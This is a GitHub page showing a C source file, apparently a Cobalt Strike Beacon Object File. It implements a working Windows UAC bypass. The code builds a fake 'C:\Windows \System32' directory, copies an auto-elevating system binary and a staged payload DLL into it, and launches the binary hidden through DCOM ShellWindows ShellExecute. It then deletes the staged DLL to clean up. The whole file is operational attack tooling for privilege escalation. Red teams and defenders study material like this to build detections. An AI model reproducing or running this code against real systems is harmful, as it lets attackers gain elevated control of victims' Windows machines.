-
Notifications
You must be signed in to change notification settings - Fork 38
/
trustedpath-uacbypass.c
291 lines (255 loc) · 10 KB
/
trustedpath-uacbypass.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
#include <windows.h>
#include <wtsapi32.h>
#include <shellapi.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <combaseapi.h>
#include <heapapi.h>
#include "beacon.h"
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CreateDirectoryW(LPCTSTR, LPSECURITY_ATTRIBUTES);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CopyFileW(LPCTSTR, LPCTSTR, BOOL);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$DeleteFileW(LPCTSTR);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI SHLWAPI$PathFileExistsW(LPCTSTR);
WINBASEAPI wchar_t WINAPI MSVCRT$wcscat(wchar_t * destination, const wchar_t * source);
DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void);
DECLSPEC_IMPORT WINOLEAPI OLE32$CoInitialize(LPVOID pvReserved);
DECLSPEC_IMPORT WINOLEAPI OLE32$CLSIDFromString(LPCOLESTR lpsz, LPCLSID pclsid);
DECLSPEC_IMPORT WINOLEAPI OLE32$CoCreateInstanceEx(REFCLSID, IUnknown*,DWORD,COSERVERINFO*, DWORD,MULTI_QI*);
DECLSPEC_IMPORT WINBASEAPI void * WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
DECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString(wchar_t * lpsz, LPIID lpiid);
DECLSPEC_IMPORT WINOLEAPI_(void) OLE32$CoUninitialize(void);
DECLSPEC_IMPORT WINOLEAUTAPI_(BSTR) OleAut32$SysAllocString(const OLECHAR *);
void go(char * args, int alen)
{
// Initialize variables
wchar_t originalLocation[100] = {0};
wchar_t newLocation[100] = {0};
wchar_t originalDLLLocation[100] = {0};
wchar_t newDLLLocation[100] = {0};
datap parser;
DWORD errorcode;
BeaconDataParse(&parser, args, alen);
wchar_t* targetProc = (wchar_t*)BeaconDataExtract(&parser, NULL);
wchar_t* DLL = (wchar_t*)BeaconDataExtract(&parser, NULL);;
MSVCRT$wcscat(originalLocation, L"C:\\Windows\\System32\\");
MSVCRT$wcscat(originalLocation, targetProc);
MSVCRT$wcscat(newLocation, L"C:\\Windows \\System32\\");
MSVCRT$wcscat(originalDLLLocation, L"C:\\Windows\\Tasks\\");
MSVCRT$wcscat(originalDLLLocation, DLL);
MSVCRT$wcscat(newDLLLocation, L"C:\\Windows \\System32\\");
MSVCRT$wcscat(newDLLLocation, DLL);
MSVCRT$wcscat(newLocation, targetProc);
// Check if file exists
if(!SHLWAPI$PathFileExistsW((LPCTSTR)originalLocation)){
BeaconPrintf(CALLBACK_ERROR, "The target executable does not exist in \"C:\\Windows\\System32\".");
goto FileCleanup;
return;
}
// Create "C:\Windows \System32" directory
KERNEL32$CreateDirectoryW((LPCTSTR)L"\\\\?\\C:\\Windows \\", 0);
KERNEL32$CreateDirectoryW((LPCTSTR)L"\\\\?\\C:\\Windows \\System32\\", 0);
// Copy the DLL payload and target executable to "C:\Windows \System32"
BeaconPrintf(CALLBACK_OUTPUT, "Copying file from \"%ls\" to \"%ls\".", originalLocation, newLocation);
KERNEL32$CopyFileW((LPCTSTR)originalLocation, (LPCTSTR)newLocation, FALSE);
errorcode = KERNEL32$GetLastError();
if(errorcode!=0){
if(errorcode==32){
BeaconPrintf(CALLBACK_ERROR, "Error %d: Could not copy the executable to the destination because it is running by another program. Please kill the process and retry.", KERNEL32$GetLastError());
}else{
BeaconPrintf(CALLBACK_ERROR, "Error %d: Could not copy the executable to the destination.", KERNEL32$GetLastError());
}
goto FileCleanup;
return;
}else{
BeaconPrintf(CALLBACK_OUTPUT, "Executable copied successfully.");
}
KERNEL32$CopyFileW((LPCTSTR)originalDLLLocation, (LPCTSTR)newDLLLocation, FALSE);
if(KERNEL32$GetLastError()!=0){
BeaconPrintf(CALLBACK_ERROR, "Error %d: Could not copy the DLL payload to the destination.", KERNEL32$GetLastError());
goto FileCleanup;
return;
}else{
BeaconPrintf(CALLBACK_OUTPUT, "DLL payload copied successfully.");
}
// The full DCOM execution all credit to @Yas_o_h for his DCOM BOF implementation (https://raw.githubusercontent.com/Yaxser/CobaltStrike-BOF/6fe9cc139632c8301c207ea27e4859d7224418b9/DCOM%20Lateral%20Movement/BOF-IShellWindows-DCOM.c)
HRESULT hr = S_OK;
IID Ipsb, Ipsv, Ipsw, Ipsfvd, Ipdisp, IpdispBackground, ISHLDISP, IshellWindowCLSID, ITopLevelSID, servicerprovider_iid;
HWND hwnd;
IShellBrowser* psb;
IShellView* psv;
IShellWindows* psw;
IShellFolderViewDual* psfvd;
IShellDispatch2* psd;
IDispatch* pdisp, * pdispBackground;
IServiceProvider* svsProvider;
VARIANT vEmpty = { vEmpty.vt = VT_I4, vEmpty.lVal = 0 };
hr = OLE32$CoInitialize(NULL);
if (!SUCCEEDED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "CoInitialize failed: 0x%08lx", hr);
goto FileCleanup;
return;
}
wchar_t* ShellBrowserI = L"{000214E2-0000-0000-C000-000000000046}";
wchar_t* ShellViewI = L"{000214E3-0000-0000-C000-000000000046}";
wchar_t* ShellWindowsI = L"{85CB6900-4D95-11CF-960C-0080C7F4EE85}";
wchar_t* ShellFolderViewDualI = L"{E7A1AF80-4D96-11CF-960C-0080C7F4EE85}";
wchar_t* Dispatch_I = L"{00020400-0000-0000-C000-000000000046}";
wchar_t* ShellDispatch_I = L"{A4C6892C-3BA9-11D2-9DEA-00C04FB16162}";
wchar_t* ShellWindowCLSID = L"{9BA05972-F6A8-11CF-A442-00A0C90A8F39}";
wchar_t* TopLevelBrowserSID = L"{4C96BE40-915C-11CF-99D3-00AA004AE837}";
wchar_t* ServiceProviderI = L"{6D5140C1-7436-11CE-8034-00AA006009FA}";
OLE32$IIDFromString(ShellBrowserI, &Ipsb);
OLE32$IIDFromString(ShellViewI, &Ipsv);
OLE32$IIDFromString(ShellWindowsI, &Ipsw);
OLE32$IIDFromString(ShellFolderViewDualI, &Ipsfvd);
OLE32$IIDFromString(ShellFolderViewDualI, &IpdispBackground);
OLE32$IIDFromString(Dispatch_I, &Ipdisp);
OLE32$IIDFromString(ShellDispatch_I, &ISHLDISP);
OLE32$CLSIDFromString(ShellWindowCLSID, &IshellWindowCLSID);
OLE32$CLSIDFromString(TopLevelBrowserSID, &ITopLevelSID);
OLE32$IIDFromString(ServiceProviderI, &servicerprovider_iid);
const GUID GUID_NULL = { 0, 0, 0, { 0, 0, 0, 0, 0, 0, 0, 0 } };
COSERVERINFO* srvinfo = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(COSERVERINFO));
COAUTHINFO* authInfo = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(COAUTHINFO));
COAUTHIDENTITY* authidentity = NULL;
MULTI_QI mqi[1] = { &Ipsw, NULL, hr };
authInfo->dwAuthnSvc = RPC_C_AUTHN_WINNT;
authInfo->dwAuthzSvc = RPC_C_AUTHZ_NONE;
authInfo->pwszServerPrincName = NULL;
authInfo->dwAuthnLevel = RPC_C_AUTHN_LEVEL_DEFAULT;
authInfo->dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE;
authInfo->dwCapabilities = EOAC_NONE;
srvinfo->dwReserved1 = 0;
srvinfo->dwReserved2 = 0;
srvinfo->pAuthInfo = authInfo;
hr = OLE32$CoCreateInstanceEx(&IshellWindowCLSID, NULL, CLSCTX_LOCAL_SERVER, srvinfo, 1, mqi);
if(!SUCCEEDED(hr)){
BeaconPrintf(CALLBACK_ERROR, "CoCreateInstanceEx failed: 0x%08lx", hr);
goto FileCleanup;
return;
}
hr = mqi->pItf->lpVtbl->QueryInterface(mqi->pItf, &Ipsw, (void**)&psw);
if(!SUCCEEDED(hr)){
BeaconPrintf(CALLBACK_ERROR, "ShellWindows->QueryInterface failed: 0x%08lx", hr);
goto Cleanup;
goto FileCleanup;
return;
}
hr = mqi->pItf->lpVtbl->Release(mqi->pItf);
if(!SUCCEEDED(hr)){
BeaconPrintf(CALLBACK_ERROR, "Releaseing IShellWindows failed: 0x%08lx", hr);
goto Cleanup;
goto FileCleanup;
return;
}
hr = psw->lpVtbl->FindWindowSW(psw, &vEmpty, &vEmpty, SWC_DESKTOP, (long*)&hwnd, SWFO_NEEDDISPATCH, &pdisp);
if(!SUCCEEDED(hr)){
BeaconPrintf(CALLBACK_ERROR, "FindWindowSW failed: 0x%08lx", hr);
goto Cleanup;
goto FileCleanup;
return;
}
hr = pdisp->lpVtbl->QueryInterface(pdisp, &servicerprovider_iid, (void**)&svsProvider);
if(!SUCCEEDED(hr)){
BeaconPrintf(CALLBACK_ERROR, "pdisp->QueryInterface failed: 0x%08lx", hr);
goto Cleanup;
goto FileCleanup;
return;
}
hr = svsProvider->lpVtbl->QueryService(svsProvider, &ITopLevelSID, &Ipsb, (void**)&psb);
if(!SUCCEEDED(hr)){
BeaconPrintf(CALLBACK_ERROR, "pdisp->QueryInterface failed: 0x%08lx", hr);
goto Cleanup;
goto FileCleanup;
return;
}
hr = psb->lpVtbl->QueryActiveShellView(psb, &psv);
if(!SUCCEEDED(hr)){
BeaconPrintf(CALLBACK_ERROR, "psb->QueryActiveShellView failed: 0x%08lx", hr);
goto Cleanup;
goto FileCleanup;
return;
}
hr = psv->lpVtbl->GetItemObject(psv, SVGIO_BACKGROUND, &Ipdisp, (void**)&pdispBackground);
if(!SUCCEEDED(hr)){
BeaconPrintf(CALLBACK_ERROR, "psv->GetItemObject failed: 0x%08lx", hr);
goto Cleanup;
goto FileCleanup;
return;
}
hr = pdispBackground->lpVtbl->QueryInterface(pdispBackground, &Ipsfvd, (void**)&psfvd);
if(!SUCCEEDED(hr)){
BeaconPrintf(CALLBACK_ERROR, "pdispBackground->QueryInterface failed: 0x%08lx", hr);
goto Cleanup;
goto FileCleanup;
return;
}
hr = psfvd->lpVtbl->get_Application(psfvd, &pdisp);
if(!SUCCEEDED(hr)){
BeaconPrintf(CALLBACK_ERROR, "psfvd->get_Application failed: 0x%08lx", hr);
goto Cleanup;
goto FileCleanup;
return;
}
hr = pdisp->lpVtbl->QueryInterface(pdisp, &ISHLDISP, (void**)&psd);
if(!SUCCEEDED(hr)){
BeaconPrintf(CALLBACK_ERROR, "pdisp->QueryInterface failed: 0x%08lx", hr);
goto Cleanup;
goto FileCleanup;
return;
}
BeaconPrintf(CALLBACK_OUTPUT, "Executing \"%ls\"...", newLocation);
BSTR bstrFile = OleAut32$SysAllocString(newLocation);
VARIANT vOperation;
vOperation.vt = VT_BSTR;
vOperation.bstrVal = OleAut32$SysAllocString(L"open");
VARIANT vShow;
vShow.vt = VT_INT;
vShow.intVal = SW_HIDE;
VARIANT vArgs;
vArgs.vt = VT_BSTR;
vArgs.bstrVal = OleAut32$SysAllocString(L"");
VARIANT vDir;
vDir.vt = VT_BSTR;
vDir.bstrVal = OleAut32$SysAllocString(L"");
psd->lpVtbl->ShellExecute(psd, bstrFile, vArgs, vDir, vOperation, vShow);
if(!SUCCEEDED(hr)){
BeaconPrintf(CALLBACK_ERROR, "psd->ShellExecute failed: 0x%08lx", hr);
}
goto Cleanup;
goto FileCleanup;
Cleanup:
if(mqi->pItf != NULL){
mqi->pItf->lpVtbl->Release(mqi->pItf);
}
if(psb != NULL){
psb->lpVtbl->Release(psb);
}
if(psv != NULL){
psv->lpVtbl->Release(psv);
}
if(psw != NULL){
psw->lpVtbl->Release(psw);
}
if(psfvd != NULL){
psfvd->lpVtbl->Release(psfvd);
}
if(pdisp != NULL){
pdisp->lpVtbl->Release(pdisp);
}
if(pdispBackground != NULL){
pdispBackground->lpVtbl->Release(pdispBackground);
}
if(svsProvider != NULL){
svsProvider->lpVtbl->Release(svsProvider);
}
if(psd != NULL){
psd->lpVtbl->Release(psd);
}
OLE32$CoUninitialize();
FileCleanup:
BeaconPrintf(CALLBACK_OUTPUT, "Cleaning up...");
KERNEL32$DeleteFileW((LPCTSTR)originalDLLLocation);
BeaconPrintf(CALLBACK_OUTPUT, "DLL payload in the \"C:\\Windows\\Tasks\" deleted successfully.");
};